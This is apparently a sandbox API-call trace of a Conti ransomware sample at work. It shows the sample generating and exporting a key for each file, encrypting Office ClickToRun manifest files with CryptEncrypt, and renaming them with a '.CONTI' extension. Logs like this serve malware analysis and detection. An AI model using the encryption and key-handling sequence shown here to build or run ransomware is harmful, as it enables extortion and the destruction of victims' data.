	[0103.665] WriteFile (in: hFile=0x37c, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.670] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.670] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x17984, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x17984, lpOverlapped=0x0) returned 1
	[0103.672] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x17984, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x17990) returned 1
	[0103.672] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.672] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x17990, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x17990, lpOverlapped=0x0) returned 1
	[0103.672] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.672] WriteFile (in: hFile=0x37c, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.673] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.673] CloseHandle (hObject=0x37c) returned 1
	[0103.673] GetProcessHeap () returned 0x1720000
	[0103.673] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.673] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml"
	[0103.673] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.CONTI"
	[0103.673] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.conti")) returned 1
	[0103.687] GetProcessHeap () returned 0x1720000
	[0103.687] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.687] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.687] GetProcessHeap () returned 0x1720000
	[0103.687] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1ec8 | out: hHeap=0x1720000) returned 1
	[0103.687] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.688] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17e9900 | out: phKey=0x17e9900*=0x17c8470) returned 1
	[0103.688] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9904, pdwDataLen=0x50ff91c | out: pbData=0x17e9904*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.688] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x20
	[0103.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.697] GetLastError () returned 0x0
	[0103.697] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=26782) returned 1
	[0103.697] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x689e
	[0103.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.697] SetEndOfFile (hFile=0x37c) returned 1
	[0103.699] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.699] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.699] WriteFile (in: hFile=0x37c, lpBuffer=0x17e9904*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17e9904*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.701] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.701] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x689e, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x689e, lpOverlapped=0x0) returned 1
	[0103.703] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x689e, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x68a0) returned 1
	[0103.703] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.703] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x68a0, lpOverlapped=0x0) returned 1
	[0103.703] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.703] WriteFile (in: hFile=0x37c, lpBuffer=0x17e98f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17e98f8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.703] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.703] CloseHandle (hObject=0x37c) returned 1
	[0103.704] GetProcessHeap () returned 0x1720000
	[0103.704] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.704] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml"
	[0103.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.CONTI"
	[0103.704] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.conti")) returned 1
	[0103.711] GetProcessHeap () returned 0x1720000
	[0103.711] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.711] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.711] GetProcessHeap () returned 0x1720000
	[0103.711] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d21e8 | out: hHeap=0x1720000) returned 1
	[0103.711] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.711] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17e6b60 | out: phKey=0x17e6b60*=0x17c8370) returned 1
	[0103.711] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6b64, pdwDataLen=0x50ff91c | out: pbData=0x17e6b64*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.712] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x20
	[0103.712] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.712] GetLastError () returned 0x0
	[0103.712] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=25518) returned 1
	[0103.712] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x63ae
	[0103.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.712] SetEndOfFile (hFile=0x37c) returned 1
	[0103.712] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.713] WriteFile (in: hFile=0x37c, lpBuffer=0x17e6b64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17e6b64*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.717] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.717] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x63ae, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x63ae, lpOverlapped=0x0) returned 1
	[0103.723] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x63ae, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x63b0) returned 1
	[0103.723] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.724] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x63b0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x63b0, lpOverlapped=0x0) returned 1
	[0103.724] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.724] WriteFile (in: hFile=0x37c, lpBuffer=0x17e6b58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17e6b58*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.724] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.724] CloseHandle (hObject=0x37c) returned 1
	[0103.724] GetProcessHeap () returned 0x1720000
	[0103.724] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.724] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml"
	[0103.724] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.CONTI"
	[0103.724] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.conti")) returned 1
	[0103.725] GetProcessHeap () returned 0x1720000
	[0103.725] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.725] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.725] GetProcessHeap () returned 0x1720000
	[0103.725] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5530 | out: hHeap=0x1720000) returned 1
	[0103.725] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.725] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d6b28 | out: phKey=0x17d6b28*=0x17c8370) returned 1
	[0103.725] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6b2c, pdwDataLen=0x50ff91c | out: pbData=0x17d6b2c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.726] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x20
	[0103.726] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.726] GetLastError () returned 0x0
	[0103.726] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=2042) returned 1
	[0103.726] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7fa
	[0103.726] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.726] SetEndOfFile (hFile=0x37c) returned 1
	[0103.726] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.726] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.726] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6b2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d6b2c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.729] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.730] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x7fa, lpOverlapped=0x0) returned 1
	[0103.730] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x7fa, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x800) returned 1
	[0103.730] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.730] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x800, lpOverlapped=0x0) returned 1
	[0103.730] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.730] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6b20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d6b20*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.730] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.730] CloseHandle (hObject=0x37c) returned 1
	[0103.730] GetProcessHeap () returned 0x1720000
	[0103.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.730] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml"
	[0103.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.CONTI"
	[0103.730] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.conti")) returned 1
	[0103.731] GetProcessHeap () returned 0x1720000
	[0103.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.731] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.731] GetProcessHeap () returned 0x1720000
	[0103.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5818 | out: hHeap=0x1720000) returned 1
	[0103.731] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.731] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d7fb0 | out: phKey=0x17d7fb0*=0x17c7f70) returned 1
	[0103.731] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7fb4, pdwDataLen=0x50ff91c | out: pbData=0x17d7fb4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.732] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.735] GetLastError () returned 0x0
	[0103.735] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=77386) returned 1
	[0103.735] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12e4a
	[0103.735] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.735] SetEndOfFile (hFile=0x37c) returned 1
